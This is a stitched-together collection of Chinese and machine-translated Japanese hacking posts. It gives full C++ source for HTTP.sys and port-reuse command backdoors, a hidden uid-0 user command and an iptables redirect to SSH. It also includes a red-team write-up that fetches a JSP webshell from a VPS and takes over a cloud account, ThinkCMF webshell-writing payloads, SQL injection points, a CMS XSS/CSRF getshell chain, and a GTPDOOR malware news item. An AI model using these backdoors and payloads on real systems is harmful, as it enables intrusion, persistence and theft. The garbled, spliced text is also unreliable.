这样我们可以自己写一个注册url功能的exe,然后根据请求访问url来实现后门功能。
注册代码参考msdn和stackoverflow上的代码:

https://stackoverflow.com/questions/14931705/microsoft-c-http-server-api-httpapi-lib-httpreceiveclientcertificate-functio
https://docs.microsoft.com/zh-cn/windows/win32/http/http-server-sample-application

DWORD DoReceiveRequests(IN HANDLE hReqQueue)
{
    ULONG              result;
    HTTP_REQUEST_ID    requestId;
    DWORD              bytesRead;
    PHTTP_REQUEST      pRequest;
    PCHAR              pRequestBuffer;
    ULONG              RequestBufferLength;

    //
    // Allocate a 2 KB buffer. This size should work for most 
    // requests. The buffer size can be increased if required. Space
    // is also required for an HTTP_REQUEST structure.
    //
    RequestBufferLength = sizeof(HTTP_REQUEST) + 2048;
    pRequestBuffer = (PCHAR)ALLOC_MEM(RequestBufferLength);

    if (pRequestBuffer == NULL)
    {
        return ERROR_NOT_ENOUGH_MEMORY;
    }

    pRequest = (PHTTP_REQUEST)pRequestBuffer;

    //
    // Wait for a new request. This is indicated by a NULL 
    // request ID.
    //

    HTTP_SET_NULL_ID(&requestId);

    for (;;)
    {
        RtlZeroMemory(pRequest, RequestBufferLength);

        result = HttpReceiveHttpRequest(
            hReqQueue,          // Req Queue
            requestId,          // Req ID
            0,                  // Flags
            pRequest,           // HTTP request buffer
            RequestBufferLength,// req buffer length
            &bytesRead,         // bytes received
            NULL                // LPOVERLAPPED
        );
        if (NO_ERROR == result)
        {

            DWORD answer = 0;
            HTTP_SSL_CLIENT_CERT_INFO sslClientCertInfo;
            ULONG bytesReceived;
            answer = HttpReceiveClientCertificate(hReqQueue, pRequest->ConnectionId, 0,
                &sslClientCertInfo, sizeof(HTTP_SSL_CLIENT_CERT_INFO), &bytesReceived, NULL); //注册后等待接收
            char* command;
            char temp[512];
            string cmd_temp;
            strcpy_s(temp, pRequest->pRawUrl);
            command = temp;
            command = strstr(command, "cmd=");
            if (command == NULL)
                continue;
            cmd_temp.assign(command);
            cmd_temp.replace(cmd_temp.find("cmd="), 4, "");
            //------------------------------------
            uint8* text = (uint8*)cmd_temp.c_str();
            uint32 text_len = (uint32)strlen((char*)text);
            uint8 buffer[1024], buffer2[4096];
            uint32 size = base64_decode(text, text_len, buffer);
            buffer[size] = 0;
            //------------------------------------
            printf("%s", buffer);
            if (answer != NO_ERROR)
            {

                string results;
                if (cmd_temp.size() == 0)
                    continue;
                char* tis((char*)buffer);
                HANDLE hRead, hWrite;
                CreatePipecmd(tis, hRead, hWrite, results);
                result = SendHttpResponse(hReqQueue, pRequest, 401, "Unauthorized request", PSTR(results.c_str()));
            }
            else
            {
                result = SendHttpResponse(hReqQueue, pRequest, 200, "OK", "OK");
            }

            if (result != NO_ERROR)
            {
                //break; //if failed to send response, stop listening for further incoming requests
            }
            //
            // Reset the Request ID to handle the next request.
            //
            HTTP_SET_NULL_ID(&requestId);
        }
        else
        {
           // break;
        }

    }
    if (pRequestBuffer)
    {
        FREE_MEM(pRequestBuffer);
    }

    return result;
}

HttpReceiveClientCertificate提供客户端为响应服务器的客户端标识请求而颁发的客户端证书字段。
等待访问来源后
截取cmd=后字段内容

char* command;
char temp[512];
string cmd_temp;
strcpy_s(temp, pRequest->pRawUrl);
command = temp;
command = strstr(command, "cmd=");
if (command == NULL) //防止为空时报错。
    continue;
cmd_temp.assign(command);
cmd_temp.replace(cmd_temp.find("cmd="), 4, "");

对传入内容base64解码

uint8* text = (uint8*)cmd_temp.c_str();
uint32 text_len = (uint32)strlen((char*)text);
uint8 buffer[1024], buffer2[4096];
uint32 size = base64_decode(text, text_len, buffer);
buffer[size] = 0;

base64解码函数

#include <stdio.h>
#include <string.h>
#include <assert.h>
typedef unsigned char     uint8;
typedef unsigned long    uint32;
static uint8 alphabet_map[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
static uint8 reverse_map[] =
{
     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 62, 255, 255, 255, 63,
     52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 255, 255, 255, 255, 255, 255,
     255,  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
     15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 255, 255, 255, 255, 255,
     255, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
     41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 255, 255, 255, 255, 255
};
uint32 base64_decode(const uint8* code, uint32 code_len, uint8* plain)
{
    assert((code_len & 0x03) == 0);  //如果它的条件返回错误,则终止程序执行。4的倍数。

    uint32 i, j = 0;
    uint8 quad[4];
    for (i = 0; i < code_len; i += 4)
    {
        for (uint32 k = 0; k < 4; k++)
        {
            quad[k] = reverse_map[code[i + k]];//分组,每组四个分别依次转换为base64表内的十进制数
        }

        assert(quad[0] < 64 && quad[1] < 64);

        plain[j++] = (quad[0] << 2) | (quad[1] >> 4); //取出第一个字符对应base64表的十进制数的前6位与第二个字符对应base64表的十进制数的前2位进行组合

        if (quad[2] >= 64)
            break;
        else if (quad[3] >= 64)
        {
            plain[j++] = (quad[1] << 4) | (quad[2] >> 2); //取出第二个字符对应base64表的十进制数的后4位与第三个字符对应base64表的十进制数的前4位进行组合
            break;
        }
        else
        {
            plain[j++] = (quad[1] << 4) | (quad[2] >> 2);
            plain[j++] = (quad[2] << 6) | quad[3];//取出第三个字符对应base64表的十进制数的后2位与第4个字符进行组合
        }
    }
    return j;
}

命令执行,这里我用的createprocess+命名管道实现命令结果的回传。

string results;
if (cmd_temp.size() == 0)
    continue;
char* tis((char*)buffer);
HANDLE hRead, hWrite;
CreatePipecmd(tis, hRead, hWrite, results);
result = SendHttpResponse(hReqQueue, pRequest, 401, "Unauthorized request", PSTR(results.c_str()));

为了防止输入cmd.exe/calc.exe这种造成阻塞,我用sleep 1秒后kill掉进程。
先创建命名管道,将CreateProcess执行结果传入命名管道中,最后Readfile,再将读取内容传给result中。

BOOL KillProcess(DWORD ProcessId)
{
    HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, ProcessId);
    if (hProcess == NULL)
        return FALSE;
    if (!TerminateProcess(hProcess, 0))
        return FALSE;
    return TRUE;
}
char* CreatePipecmd(char* pszCmd, HANDLE& hRead, HANDLE& hWrite, string& result)
{
    SECURITY_ATTRIBUTES sa;
    sa.nLength = sizeof(sa);
    sa.bInheritHandle = TRUE;
    sa.lpSecurityDescriptor = NULL;
    HANDLE hCmdRead, hCmdWrite;
    char buf[2048] = { 0 };
    DWORD len;
    CreatePipe(&hRead, &hCmdWrite, &sa, 0);
    int nRet = CreatePipe(&hCmdRead, &hWrite, &sa, 0);
    if (nRet == 0) {        //管道创建失败
        printf("CreatePipecmd()::CreatePipe() fail!\n");
        return NULL;
    }
    STARTUPINFO startinfo;          //设置cmd启动参数
    GetStartupInfo(&startinfo);
    startinfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    startinfo.hStdInput = hCmdRead;
    startinfo.hStdOutput = hCmdWrite;
    startinfo.hStdError = hCmdWrite;
    startinfo.wShowWindow = SW_HIDE;
    PROCESS_INFORMATION proinfo;    //创建cmd进程
    nRet = CreateProcess(NULL, pszCmd, NULL, NULL, 1, 0, NULL, NULL, &startinfo, &proinfo);
    int pid = GetProcessIdOfThread(proinfo.hThread);
    CloseHandle(hCmdRead);      //关闭cmd读写句柄HANDLE
    CloseHandle(hCmdWrite);
    CloseHandle(proinfo.hThread);
    CloseHandle(proinfo.hProcess);
    if (0 == nRet) {
        printf("CreatePipecmd()::CreateProcess() fail.\n");
        CloseHandle(hRead);
        CloseHandle(hWrite);
        result += buf;
    }
    Sleep(100);
    KillProcess(pid);
    while (ReadFile(hRead, buf, 2047, &len, NULL))
    {
        printf(buf);
        result += buf;
        ZeroMemory(buf, 2047);
    }
}

实现效果:
uh12t-ubagi

可以看到其中最初curl 1111.jsp是返回的404,后面注册url了后可以实现后门功能,而且calc不会造成阻塞,whoami也成功执行,带参数的route print也没有问题,route输出的内容比较多也没有问题。如果希望使用这个上线建议把上线命令写成ps1/bat/vbs,然后再去执行。

普通用户权限实现后门

上面介绍的都是在管理员权限使用。在普通用户下如何实现。
netsh http show urlacl

查看所有urlacl。
20210105165543

找到有一个自带url是everyone的

http_sys_backdoor.exe http://+:80/Temporary_Listen_Addresses/111.jsp

20210105170450

也可以自己手动添加everyone映射。

netsh http add urlacl url=http://+:80/1111.jsp user=everyone

IIS模块劫持实现

找了下资料看到3好学生介绍了两个项目,分别是C#和Cpp的实现,就不再重复造轮子了。

C

先简单说一下实现原理,在IIS7之后支持了集成模式,区别于之前的ISAPI的形式,可以通过C#编写托管模块处理网站的所有请求,这在IIS6中需要通过非托管代码写ISAPI filter来完成。

20210107111811

利用项目

https://github.com/WBGlIl/IIS_backdoor
整体获取Cookie中的关键字字段来进行执行相关内容和返回结果。如果不匹配相关内容就放过扔给后面程序。

代码说明:

https://mp.weixin.qq.com/s/z1d3yvp14GWakyonTh_b8A

实现效果
20210107172133

使用前提:
IIS开启应用程序开发功能。
20210107161819

这里在添加模块处需要注意.net版本。
20210107162415

Cpp

https://github.com/0x09AL/IIS-Raid

20210108114458

利用SO_REUSEADDR和SO_REUSEPORT端口复用

查到资料有提过这种思路,当这个api的第三个参数取值设置为SO_REUSEADDR时,套接字端口是可以共享复用的。但是此方法只针对Apache和IIS5.0以下版本有效。
因为在IIS6.0开始微软将网络通信封装在了ring0层,使用http.sys驱动进行通讯,所以针对iis的版本是在6.0以下,但是apache 的效果是可以使用的。

这里有个技巧是如果第一个监听进程是使用管理员/System权限启动得到话,常见:监听0.0.0.0:80,那么我们可以通过管理员权限建立一个127.0.0.1:80/10.10.10.x:80 其他网卡指定ip的监听。
如果使用普通用户实现的第一次监听,那么第二次监听我们可以使用管理员或者普通用户来进行复用。

复用的参考代码可以看:https://xz.aliyun.com/t/1661

//绑定操作
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
    saddr.sin_port = htons(80);
    if ((server_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR)
    {
        printf("error!socket failed!//n");
        return (-1);
    }
    //复用操作
    if (setsockopt(server_sock, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) != 0)
    {
        printf("[!] error!setsockopt failed!//n");
        return -1;
    }
    if (bind(server_sock, (SOCKADDR *)&saddr, sizeof(saddr)) == SOCKET_ERROR)
    {
        ret = GetLastError();
        printf("[!] error!bind failed!//n");
        return -1;
    }
    listen(server_sock, 2);
    while (1)
    {
        caddsize = sizeof(scaddr);
        server_conn = accept(server_sock, (struct sockaddr *)&scaddr, &caddsize);
        if (server_conn != INVALID_SOCKET)
        {
            mt = CreateThread(NULL, 0, ClientThread, (LPVOID)server_conn, 0, &tid);
            if (mt == NULL)
            {
                printf("[!] Thread Creat Failed!//n");
                break;
            }
        }
        CloseHandle(mt);
    }
    closesocket(server_sock);
    WSACleanup();
    return 0;

20210131200052

20210129214937

最终实现如上图,但是有一点问题就是原文中直接返回的交互cmd,这样会导致正常80访问阻塞。开启监听后如果80有访问的话监听就会给客户端返回个cmd。

后面根据前面那个IIS后门修改了下,可以实现访问和后门相互无影响。

int main()
{
    WSAData wsaData;
    SOCKET listenSock;
    // 1st:  initial wsadata and socket
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    listenSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    // 设置复用
    BOOL val = TRUE;
    setsockopt(listenSock, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val));
    // 绑定
    sockaddr_in sockaaddr;
    sockaaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ////可自行更改IP,gethostbyname()
    sockaaddr.sin_family = AF_INET;
    sockaaddr.sin_port = htons(80);
    int ret;
    ret = bind(listenSock, (struct sockaddr*)&sockaaddr, sizeof(sockaddr));
    ret = listen(listenSock, SOMAXCONN);
    // 监听
    int len = sizeof(sockaaddr);
    SOCKET recvSock;
    printf("Start Listen......");
    recvSock = accept(listenSock, (struct sockaddr*)&sockaaddr, &len);
    closesocket(listenSock);
    int iResult = 0,iSendResult = 0;
    #define DEFAULT_BUF_LEN 512
    char caRecvBuf[DEFAULT_BUF_LEN];
    do 
    {
        iResult = recv(recvSock, caRecvBuf, DEFAULT_BUF_LEN, NULL);
        if (iResult > 0)
        {
            printf("Receive %d bytes of data...\n", iResult);
            string results;
            char buffer[1024];
            char* tis((char*)buffer);
            HANDLE hRead, hWrite;
            CreatePipecmd(caRecvBuf, hRead, hWrite, results);

            char* p = (char*)results.data();
            //iSendResult = send(ConnectionSocket, p, sizeof(results), NULL);
            iSendResult = send(recvSock, p, 2048, NULL);
            if (iSendResult == SOCKET_ERROR)
            {
                printf("fail to call send function\n");
                closesocket(recvSock);
                WSACleanup();
                return 1;
            }
            printf("Send %d bytes of data...\n", iResult);
        }
        else if (iResult == 0)
        {
            printf("End sending data\n");
        }
        else
        {
            printf("fail to call recv function\n");
            closesocket(recvSock);
            WSACleanup();
            return 1;
        }
    } while (iResult > 0);
    iResult = shutdown(recvSock, SD_BOTH);
    WSACleanup();
    return 0;
}

5fxh8-1tcpk

w3wp.exe利用

这个进程是IIS在以服务用户启动的进程,对用户访问网站时都会转到w3wp.exe进程进行处理。
上网冲浪中找到了这个思路,博主在跟api的时候找到了有CreatefileW函数调用所以hook了
原文:https://www.freebuf.com/articles/system/11305.html
代码:https://github.com/zhang5521/Aiwb
我在复现的过程中发现在win7/2008环境下针对w3wp.exe注入dll失败,而且通过apimonitor上也没有找到针对CreateFileW的调用,后来用之前的思路ZWcreatethreadex函数绕过session隔离,注入进程,但是还是失败,dll挂不上,而且将git上的代码编译后也无法在该环境使用。最后终于注意到了日期。估计是针对2003/iis5的环境有使用CreatefileW。这个思路等着其他大哥有环境的去测试下吧。

后来又找到一个针对安全狗这类的安全软件怎么监控IIS执行命令,判断是hook了w3wp.exe的CreateProcess函数。
文章:https://lufe1.cn/2018/07/18/%E5%AE%89%E5%85%A8%E7%8B%97%E7%A6%81%E6%AD%A2iis%E6%89%A7%E8%A1%8C%E6%8E%A2%E7%A9%B6/index.html
文章:https://lufe1.cn/2017/09/17/IIS%E5%91%BD%E4%BB%A4%E7%9B%91%E6%8E%A7/index.html

然后找到了bo主写的代码,本地测试还是不行 win7+iis7 windows2008+ iis8.5 x64都是进程注入失败

20210129161129

自己写的hook也尝试了,注入失败。

不想了,这算是个思路吧,

iptables端口转发

整体思路就是利用ssh软连接创建一个免密/key登录端口,iptables根据来源ip来分流到ssh服务中,这样后续建立的代理也是比较稳定的,而且是正向代理。
不过需要在实战中注意的是,很多服务器是通过负载ng来实现的,这样iptables的来源ip确认就很有必要了。还有就是很多根据不同路径路由到不同后端服务器的情况,在这种情况下你是无法指定连接正向的目标服务器,这样后面的服务器就无法连接到。

命令:

将对外开放的80端口流量转向本机22(只对8.8.8.0/24的来源IP有效,其他IP访问完全正常):

iptables -t nat -A PREROUTING -p tcp -s 8.8.8.0/255.255.255.0 --dport 80 -j REDIRECT --to-ports 22

这样我们访问目标的80就相当于访问它的22,可以通过添加用户,可以写key,或者软连接后门都可以,达到无缝接入目标内网的目的。

附一句话添加超级用户命令:

iptables -t nat -A PREROUTING -p tcp -s 8.8.8.0/255.255.255.0 --dport 80 -j REDIRECT --to-ports 22
useradd -o -u 0 -g 0 ftps && usermod -p abZUy3uRlfJWA ftps   //密码为adminxxx.    python -c "import crypt;print crypt.crypt('adminxxx.','ab')"

https://stackoverflow.com/questions/14931705/microsoft-c-http-server-api-httpapi-lib-httpreceiveclientcertificate-functio
https://www.cnblogs.com/-qing-/p/11427512.html 渗透测试-端口复用正向后门
https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8IIS%E7%9A%84%E7%AB%AF%E5%8F%A3%E5%85%B1%E4%BA%AB%E5%8A%9F%E8%83%BD%E7%BB%95%E8%BF%87%E9%98%B2%E7%81%AB%E5%A2%99/ 利用IIS的端口共享功能绕过防火墙
https://blog.csdn.net/directionofear/article/details/8155260 C#实现的自定义IIS认证模块



本文转载自: http://8sec.cc/index.php/archives/450/

0x00 前言

2022.8.X单位突然通知参与某行业专项攻防演练,本着学习的目的参与了一波,特此记录。

0x01 打点

获得目标单位名称

先通过爱企查、天眼查等工具查询目标及目标下属单位信息

可以利用工具:ENEScan_GO

接着就是信息收集三板斧

子域名、IP、端口

收集子域名:OneForAll(API要配置全一点)、Subfinder、FOFA、Hunter

收集IP:Eeyes、domain2ip

端口扫描:Goby、Nmap、Masscan

这里使用的是Goby全端口扫描,扫描速度堪忧,但优点是比较全面且展示效果较好。

端口扫描后筛出Web类与非Web类端口,便于精确打击。

Web类可以先统一进行指纹识别,优先攻击一些重点的框架系统 比如(Shiro、通达OA、用友NC等)

非web类可以筛出来进行服务爆破,一些特殊的端口可以优先摸一下试试,比如6379 Redis

0x02 获取突破口

一番操作之后,通过以上打点,得到了一个Shiro框架的系统,这个系统是访问路径后默认跳转到SSO平台进行登录的。想进入该系统,入口必须是走SSO平台登录验证后进入。但是经过手工口令测试,发现通过弱口令进SSO系统有点困难,战略性放弃。
先利用Shiro反序列化工具查看是否存在RCE漏洞。

image-20220825152609345.png

这边给个建议,不同工具可能不一定能抛出Key和利用链,大家在进行测试的时候,手里尽量多换几个工具来测试,我这里换了三个工具才跑出Key和利用链,其他的工具就是跑不出(不是Key字典的问题,就是单纯跑不出。。。)

image-20220825154032692.png

image-20220825154317117.png

Linux机子,whoami Root权限,ping www.baidu.com 出网。
先用linux语句 根据网站的静态文件名称找一下目录地址

find / -name 404.jsp

image-20220825154413821.png

直接到能访问的网站根目录下 wget我VPS上的JSP马,接着蚁剑连接。

image-20220825155446999.png

翻了一下/webapps下,发现是3个系统+SSO系统
猜测只要经过SSO验证就可以访问其他的3个系统

image-20220825160138665.png

接着开始翻配置文件
在路径 /webapps/xxx/WEB-INF/classes/ 
发现一个dbconfig.properties文件,发现了MySQL与Redis的连接信息。(要打码的东西较多,我就不放了)
MySQL是阿里云的,不是内网本地的,看了一下,发现原来打的这台机子是云主机。
白高兴一场,想着下一步就连一下MysQL看看能不能登陆SSO 以及接着翻翻看看有什么文件还有泄露配置信息然后就收工了。
mysql连接后,看到了SSO的库,以及其他3个系统的库,但当务之急是先看看能否登录SSO
查看SSO表中的sso_pwd字段

image-20220825161123156.png

发现是加密的。。。还不是普通的加密。(蚌埠住了。。)

0x03 柳暗花明

正当准备写报告收工时,一个名为 config.properties 的文件引起了我的注意。
点开查看了一下发现 what!!!

image-20220825161652464.png

SSO加密的密钥对 以及 Aliyun的accesskeyID和Secret

起飞!

0x04 解密SSO密码

RSA加密、RSA解密 - 在线工具 - OKTools
image-20220825162544727.png

密码竟然是随机生成的。。。这辈子都爆破不出来。。
登录SSO系统

image-20220825162843993.png

接着通过数据库中的其他库的密码 进入3个系统,图片我就不放了(要打码的东西太多了。。。。)。

0x05 接管云平台

前几天才看到的TeamSix师傅的文章,今天正好有现成环境复现,美滋滋。
我用 CF 打穿了他的云上内网 | T Wiki (teamssix.com)
CF工具地址:
teamssix/cf: Cloud Exploitation Framework 云环境利用框架,方便红队人员在获得 AK 的后续工作 (github.com)

cf alibaba ls

查看云资源

image-20220825164049756.png
1个bucket桶 + 2个OSS资源 + 1个ECS资源

cf alibaba console

添加后门用户接管阿里云控制台

image-20220825163327862.png

image-20220825164425766.png

访问控制中看到当前权限为:AdministratorAccess 意味着我们已经拿到了该租户的管理员权限
image-20220825164744159.png

翻一下 OSS资源以及ECS资源
OSS:

image-20220825164840765.png

ECS:

image-20220825164925978.png

image-202208251655288.png

至此,完事,写报告,收工。

0x06 总结

复现了一波AK接管云平台,感觉收获良多,相信云安全这块以后也会成为攻防演练的突破口。
此外,这次的攻击路径有点太过顺利了,不管是发现Shiro框架还是翻配置文件找到RSA密钥对和AK配置信息,我一度以为是蜜罐。。。

番外:
写报告的时候,和队友聊了一下,没想到这个站还是靶标。。。。只能说攻防演练,运气也是很重要的。。。。


原文连接: https://forum.butian.net/share/1854

晴れた夜、私はTwitterで歩くことに興奮していましたが、突然、次の推奨フォローはXXXXビデオの名刺であることがわかりました。

图片これ、これ、これ、これ、私は真面目な人です、Twitterがこれらを私にプッシュした理由はわかりません。これを実行し、プロモーションリンクを開き、アプリをダウンロードする必要があります。

图片

このアプリは、開くとすぐに馴染みのある臭いを人々に与えます。 TP Twoによって開かれた可能性が高いようです。

图片

携帯電話番号、フィドラーを登録してパッケージをキャッチして変更しますが、コンテンツは実際には目を引くものです

图片

私はパケットを捕まえてURLを取得しましたが、これが単にthinkcmfであることがわかりましたか?私は微笑んで微笑んで、私はそれを脱ぐことはなかっただろうと思った。フロントデスクには非常に多くのRCEがありました。たとえ犬がいたとしても、私は数秒でそれをすることができました。しかし、私はすぐに現実に顔を平手打ちしました。

poc:payload1を実行:

/index.php?g=apim=oautha=fetchcontent=phpfile_put_contents('pass.php'、 '?php @eval($ _ post [1]);')/Php 图片

Payload2:

/?a=fetch;templatefile=public/indexprefix=''content=phpfile_put_contents('pass.php','?php@eval($_post [1]); ')/php 图片

Payload3:

?a=displaytemplatefile=%3c?php%20file_put_contents(%27mmphp%27、%27%3c%3fphp+eval($ _ post _ post [%22x%22])%3b%3f%3e%27); die();

/?a=displaytemplatefile=data/runtime/logs/portal/yy_mm_dd.log最後に、M.Phpの1文字のトロイの木馬ファイルがディレクトリで生成され、もちろん他のペイロードとしても記述できます。

图片

操作はトラと同じくらい激しいです。ファイル404を見ると、寒いでしょうか?

图片

さらに、このアプリにはSQLインジェクション:インジェクションポイントもあります。

/index.php?g=appapim=videovideoid=1 图片

注入ポイント2:

/index.php?g=appapim=autha=indexuid=1288889TOKEN=B69CDA34DFF2FA978A94B5583E7F5C9A 图片

图片

注入もクールです。 0日のリズムを取り出してほしいと思われますか?それを忘れて、耐えましょう。いくつかの調査の後、詳細は投稿されず、ここでは千の単語が省略されます。あなたがあまりにも多くのことを言ったら、それはすべて涙です.最後に、Phpinfoがリリースされ、ペイロードはバージョン7.2の上にあります。

/?a=fetchContent=?=phpinfo(); exit();これはシェルに近いステップではなく、disable_functionsが非常に多く無効になっていることがわかります。

图片

私はここでアサート関数を使用して書くことを試みました、そしてそれが行われたと思いましたが、結果はまだ返されました1

图片

@Assert関数は機能しません。ここでは、file_get_contentsを読み取り、データベース構成ファイルを読み取ることができます

图片

config.phpファイルを読み続けたとき、アプリをダウンロードしたときにAlibaba Cloud OSSに配置されたことを突然思い出しました。その構成ファイルにはAlibaba CloudキーとIDが必要であることは論理的ですが、結局のところ現実は非常に残酷であるため、Aliyunの文字さえ見ませんでした。

图片

一部の構成ファイルで読み取るものは何もなく、データベースとRedisを外部で接続することはできません。そこで、シェルを書いて注意深く裏返し、file_put_contentsを使用してファイルを読み取ることを試みます。

图片

不可能だと思われます。パラメーターの問題が原因ですか? file_get_contentsは任意のファイルを読み取ることができますか、それともディレクトリを書き込むことができませんか? /tmp/1.txtで書き込もうとすると、同じエラーも報告されました。 PHPはファイルを書き込むために他の機能も必要だと思ったので、w3schoolはひっくり返しました

图片

123をi.txtに書き込み、ファイルを正常に書き込みます

图片

图片

PHPに文を書くようにしてください、そして、それはテンプレートが存在しないことを促します。どうすればいいですか?シェルが取得されたことがわかりました。 FWRITEパラメーターを注意深くご覧ください。 W+は書き込みを開くことで、R+は追加します。 1つのキャラクターを1つずつ書きたいですか?そうです、それはただ一人のキャラクターを1人のキャラクターに書くことです。a=fetchContent=%3c?=@$ fp=fopen(%221.php%22、%27a+%27);%20fwrite($ fp、%27%27); exit();图片

最後にゲルシェル

图片

バイパスコマンドの実行とリバウンドシェル

图片

次に、パック +ズボンを脱ぎます

mysqldump -h127.0.0.1 -uxxxx -p

安全研究人員發現了一個專為移動運營商網絡設計的新的Linux 後門,名為GTPDOOR。 GTPDOOR 背後的威脅分子以GPRS 漫遊交換(GRX) 附近的系統為目標,例如SGSN、GGSN 和P-GW,這些系統可以為攻擊者提供對電信核心網絡的直接訪問。

GRX 是移動電信的一個組件,可促進跨不同地理區域和網絡的數據漫遊服務。服務GPRS 支持節點(SGSN)、網關GPRS 支持節點(GGSN) 和P-GW(分組數據網絡網關(用於4G LTE))是移動運營商網絡基礎設施內的組件,每個組件在移動通信中發揮不同的作用。

由於SGSN、GGSN和P-GW網絡更多地暴露在公眾面前,IP地址範圍列在公開文件中,研究人員認為它們可能是獲得移動運營商網絡初始訪問權限的目標。

tweet.webp.jpg

安全研究人員解釋說,GTPDOOR 很可能是屬於“LightBasin”威脅組織(UNC1945) 的工具,該組織因專注於全球多家電信公司的情報收集而臭名昭著。

研究人員發現了2023 年底上傳到VirusTotal 的兩個版本的後門,這兩個版本基本上都沒有被防病毒引擎檢測到。這些二進製文件針對的是非常舊的Red Hat Linux 版本,表明目標已經過時。

samples.webp.jpg

隱秘的GTPDOOR 操作GTPDOOR 是一種專為電信網絡量身定制的複雜後門惡意軟件,利用GPRS 隧道協議控制平面(GTP-C) 進行隱蔽命令和控制(C2) 通信。它用於部署在與GRX 相鄰的基於Linux 的系統中,負責路由和轉發漫遊相關的信令和用戶平面流量。

使用GTP-C 進行通信允許GTPDOOR 與合法網絡流量混合,並利用不受標準安全解決方案監控的已允許端口。為了提高隱蔽性,GTPDOOR 可以更改其進程名稱以模仿合法的系統進程。

該惡意軟件偵聽特定的GTP-C 回顯請求消息(“魔術數據包”)以喚醒並在主機上執行給定的命令,將輸出發送回其操作員。

packet.webp.jpg

惡意數據包結構

GTP 數據包的內容使用簡單的XOR 密碼進行身份驗證和加密,確保只有授權的操作員才能控制惡意軟件。

GTPDOOR v1 支持在被破壞的主機上執行以下操作:

马云惹不起马云設置用於C2 通信的新加密密鑰

马云惹不起马云將任意數據寫入名為“system.conf”的本地文件

马云惹不起马云執行任意shell命令並發送回輸出

GTPDOOR v2 支持上述操作以及以下操作:

马云惹不起马云指定允許通過訪問控制列表(ACL) 機制與受感染主機通信的IP 地址或子網

马云惹不起马云檢索ACL列表,對後門的網絡權限進行動態調整

马云惹不起马云清除ACL 以重置惡意軟件

安全研究人員還強調了該惡意軟件能夠從外部網絡秘密探測,通過任何端口傳遞的TCP 數據包引發響應。

attack-overview.webp.jpg

GTPDOOR 攻擊概述

檢測與防禦檢測策略包括監視異常的原始套接字活動、意外的進程名稱以及特定的惡意軟件指示器(例如重複的系統日誌進程)。

推薦的檢測步驟如下:

1.使用lsof 檢查打開的原始套接字,表明存在潛在的漏洞。

2.使用netstat -lp --raw 查找異常的監聽套接字。

3.識別具有異常PPID 的模仿內核線程的進程。

4.搜索/var/run/daemon.pid,這是GTPDOOR 使用的互斥文件。

5.查找可能由惡意軟件創建的意外system.conf 文件。

PID.webp.jpg

PID異常

還提供了以下供防御者檢測GTPDOOR 惡意軟件的YARA 規則。

YARA.webp.jpg

最後,安全研究人員提出了防禦措施,如設置嚴格規則並自覺遵守GSMA 安全指南,利用GTP 防火牆,阻止或過濾掉惡意數據包和連接。

1。ディレクトリ構造

まず、構造を見てみましょう。システムフォルダーに関連するコードがあります。抜け穴を直接見せます。

图片

2。監査穴

1。ショッピングカートは非同期に情報を取得します-SQLインジェクション

System \ modules \ member \ cart.action.php

图片

単一の引用符をフィルタリングしますが、ここでは単一の引用によって保護されていないため、ここでは注入であり、ユーザーのIDは検証されていません。注入は、サイトの外にログインすることなく実行できます。

图片

图片

直接公式ウェブサイトハハハハ!

2。BOMプラグインダイレクトリー

システム/プラグイン/bom/bom.plugin.php

图片

直接アクセスするだけです。背景が変更されたとしても、それには何の問題もありません。まだちょうどいいです!

图片

3。私の注文貯蔵XSS(管理者Cookieを呼び出すことができます)

この一連のCMSが以前に発表されて以来、多くのXiaoheiは以前にXSSの脆弱性を発見しましたが、私のXSSは0Dayのようです。ははは、注文関数を投稿する必要があります。ここでは、最初にそれを通過するプロセスを示します。

图片

写真を追加します

图片

画像アドレスをXSSステートメントに変更します

图片

fileurl_tmpパラメーター

图片

現時点では、IMGタグが閉じられ、1つがポップアップします(バックグラウンドで管理されている「Order View」をトリガーします)

图片

4. Configuration-Backend GetShellをアップロードします

一部の人々は、バックグラウンドにアップロードがあることを見るかもしれませんが、実際、これらのアップロードは使用できません。背景のホワイトリストのフォーマットを変更することはできますが、それでも言及することはできません。現時点で.ただ参加してください! ~~

图片

単一の引用符をフィルターするため、ここには単一の引用符はありません。

图片

許可されたアップロードタイプでpyloadを書き込みます

图片

それは送信後に行われます~~コピー機能を通して遠隔馬を書く

图片

5.バックグラウンド検証コードには欠陥があります

图片

デフォルトのアカウントAdminこの文字列のMD5値は、対応する検証コード値であり、ブラストのためにここでインターフェイスを呼び出すことができます。また、小さな欠陥でもあります

6。パンチGETSHELL-CSRF+XSSのコンビネーション

XSSを直接使用してHTMLページをネストし、すべての操作をシミュレートします。それは完了です。アップロード形式の変更から始めて、アクセスをシミュレートするために馬を挿入する

[/index.php/admin/setting/upload?c=copy('http://www.xxx.com/shell.txt','./inc.php ');

いくつかの列を押して、それを成し遂げます。本当に心配しない場合は、最終的に管理者を追加してください。

